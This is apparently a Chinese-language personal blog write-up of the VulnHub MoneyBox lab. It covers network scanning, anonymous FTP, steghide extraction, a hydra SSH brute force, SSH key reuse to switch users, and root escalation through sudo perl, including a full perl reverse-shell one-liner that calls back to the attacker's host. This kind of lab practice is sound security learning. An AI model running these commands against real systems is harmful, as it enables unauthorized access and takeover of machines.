VulnHub靶机MoneyBox复现

借鉴文章:

https://blog.csdn.net/YueXuan_521/article/details/135324089

https://blog.csdn.net/Aluxian_/article/details/128672602

安装靶机

靶机网址:https://www.vulnhub.com/entry/moneybox-1,653/

VirtualBox网址:https://www.virtualbox.org/wiki/Downloads

如果出现以下报错

image-20250425212824436

就需要对安装目录给予权限,我的安装目录是 E:\VirtualBox ,就以管理员身份打开命令提示符,输入以下命令

1
2
3
4
5
6
icacls E:\VirtualBox /reset /t /c
icacls E:\VirtualBox /inheritance:d /t /c
icacls E:\VirtualBox /grant *S-1-5-32-545:(OI)(CI)(RX) /t /c
icacls E:\VirtualBox /deny *S-1-5-32-545:(DE,WD,AD,WEA,WA) /t /c
icacls E:\VirtualBox /grant *S-1-5-11:(OI)(CI)(RX) /t /c
icacls E:\VirtualBox /deny *S-1-5-11:(DE,WD,AD,WEA,WA) /t /c

image-20250425213050136

直接选择是,后面的默认选择即可

image-20250425213231938

安装好后以管理员身份打开,导入下载好的MONEYBOX.ova

image-20250425213349283

然后选择好安装目录,等着导入好就行

image-20250425213553737

选择启动,可能出现以下报错

image-20250425215240799

更改网络设置,使用桥连网卡即可

image-20250425215312978

IP探测

寻找靶机

需要准备一台kali,要和靶机处于同一个网段(可以都用桥接模式)

image-20250425215622260

首先获取kali的网卡信息

1
ifconfig

image-20250425225742643

1
kali的IP:192.168.1.103

使用nmap工具扫描

1
nmap 192.168.1.0/24
  • **nmap:**网络探索和安全扫描工具
  • **192.168.1.0/24: **目标 IP 地址范围。这里的/24表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从192.168.1.1192.168.1.254的所有 IP 地址

image-20250425225704959

看到这个机器开了ftpssh,就可以知道是靶机

使用arp扫描

1
arp-scan -I eth0 -l

image-20250425230118925

使用netdiscover

1
netdiscover -r 192.168.1.0/24

image-20250425230430356

1
靶机的IP:192.168.1.102

得到靶机和kali的IP

1
2
kali的IP:192.168.1.103
靶机的IP:192.168.1.102

深入探测

使用nmap进行深入探测

1
2
3
4
5
6
7
8
9
10
nmap -A 192.168.1.102

# 参数含义:
-A:Aggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:
-sS(TCP SYN 扫描)
-sU(UDP 扫描)
-sT(TCP connect() 扫描)
-sV(服务版本探测)
-sC(默认脚本扫描)
OS detection(操作系统检测)
1
nmap -A 192.168.1.102

image-20250425231606085

靶机开放了三个端口:

21:是ftp服务,允许匿名登录,还有一张trytofind.jpg图片

22:是ssh服务有一些key

80:是http服务存在一个网页Title:MoneyBox

FTP服务探测

尝试进行匿名登录FTP服务

1
2
3
4
# FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:anonymous 或者 为空
2、 用户名:FTP 密码:FTP 或者为空
3、 用户名:USER 密码:pass
1
ftp 192.168.1.102

image-20250425232151081

成功登录,先看看有什么东西

1
ls

image-20250425232255654

有一个 JPG 图片,使用get命令下载图片

1
get trytofind.jpg

trytofind

看到图片想到CTF的图片隐写,使用steghide工具查看图片详细信息

steghide安装方法

1
apt-get install steghide

查看图片信息

1
steghide info trytofind.jpg

image-20250425232905214

发现需要密码,接下来需要找密码

HTTP服务探测

直接访问目标靶机的IP

1
192.168.1.102

image-20250425233220536

看网站先看源码,不过没有有用的东西

image-20250425233302824

那就直接用dirsearch扫描目录

1
dirsearch -u http://192.168.1.102/ -e *

image-20250425233509276

可以扫出个301重定向的/blogs页面,访问看看

1
http://192.168.1.102/blogs

image-20250425233628440

还是先查看源码

image-20250425233953950

在最后可以发现一个hint,访问/S3cr3t-T3xt看看

1
http://192.168.1.102/S3cr3t-T3xt

image-20250425233827255

继续看源码

image-20250425233859495

得到密码

1
2
# 密码
3xtr4ctd4t4

重新再去看看图片

1
steghide info trytofind.jpg

image-20250425234146632

发现有一个data.txt文件,使用steghide提取出来

1
steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4
  • extract:指定要执行的操作为提取隐藏数据
  • -sf:指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件
  • -p:指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4

image-20250425234441416

查看文件内容

1
cat data.txt

image-20250425234600624

AI翻译一下

1
2
3
你好…… renu
我要告诉你一些重要的事。你的密码太弱了,所以更改一下你的密码吧。
别小看这件事……

SSH服务探测

使用hydra爆破密码

data.txt文件中得到的用户名renu就是ssh服务的,因为就剩这一个服务了

提示密码太弱,使用hydra工具对ssh服务进行弱口令爆破

在kali的/usr/share/wordlists/目录下有一个字典

image-20250425235415886

将其解压缩

image-20250425235553250

1
hydra -l renu -P rockyou.txt 192.168.1.102 ssh

image-20250425235646192

得到密码是

1
987654321

SSH远程登录

直接ssh远程登录

1
ssh renu@192.168.1.102

image-20250425235835395

成功登录,先看看有什么东西

1
ls

image-20250425235945856

发现有个user1.txt文件,查看得到第一个flag

1
cat user1.txt

image-20250426000034742

1
us3r1{F14g:0ku74tbd3777y4}

还有一个ftp目录,里面就是刚才在FTP服务得到的图片

image-20250426000206950

返回上一级目录看看

image-20250426000351201

发现还有一个lily目录,说明还存在一个lily用户,进入目录看看,得到第二个flag

image-20250426000506824

1
us3r{F14g:tr5827r5wu6nklao}

切换为lily用户

查看一下历史命令

1
history

image-20250426002159693

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu~/.ssh/中生成id_rsaid_rsa.pub文件

image-20250426001618917

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致

1
2
3
cat id_rsa.pub
cd /home/lily/.ssh/
cat authorized_keys

image-20250426002453872

可以发现两个是一模一样,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上

尝试直接sulily用户,但是需要密码

image-20250426002935648

1
2
ssh -i id_rsa lily@192.168.1.102
# -i 选项,用于指定私钥文件 id_rsa。

image-20250426003043780

提权为root

成功登录,尝试进行提权,但是直接使用su还是需要密码

image-20250426003329930

查看历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l

1
history

image-20250426003425435

看看当前用户可用的sudo权限

1
sudo -l

image-20250426003730564

发现可以使用perl命令

参考提权网站:https://gtfobins.github.io/gtfobins/perl/

image-20250426003845131

可以直接提权,也可以反弹shell

反弹shell

kali监听2333端口

1
nc -lvp 2333

image-20250426004313655

靶机输入以下命令,加上sudo可以提升权限执行perl命令

1
sudo perl -e 'use Socket;$i="192.168.1.103";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image-20250426004720854

image-20250426004801020

成功反弹shell,并且是root权限,在/root目录下找到隐藏文件.root.txt得到rootflag

image-20250426004839093

1
r00t{H4ckth3p14n3t}

直接用perl提权

1
sudo perl -e 'exec "/bin/sh";'

image-20250426005156575

1
r00t{H4ckth3p14n3t}

VulnHub靶机MoneyBox复现
https://yschen20.github.io/2025/04/26/VulnHub靶机MoneyBox复现/
作者
Suzen
发布于
2025年4月26日
更新于
2025年5月3日
许可协议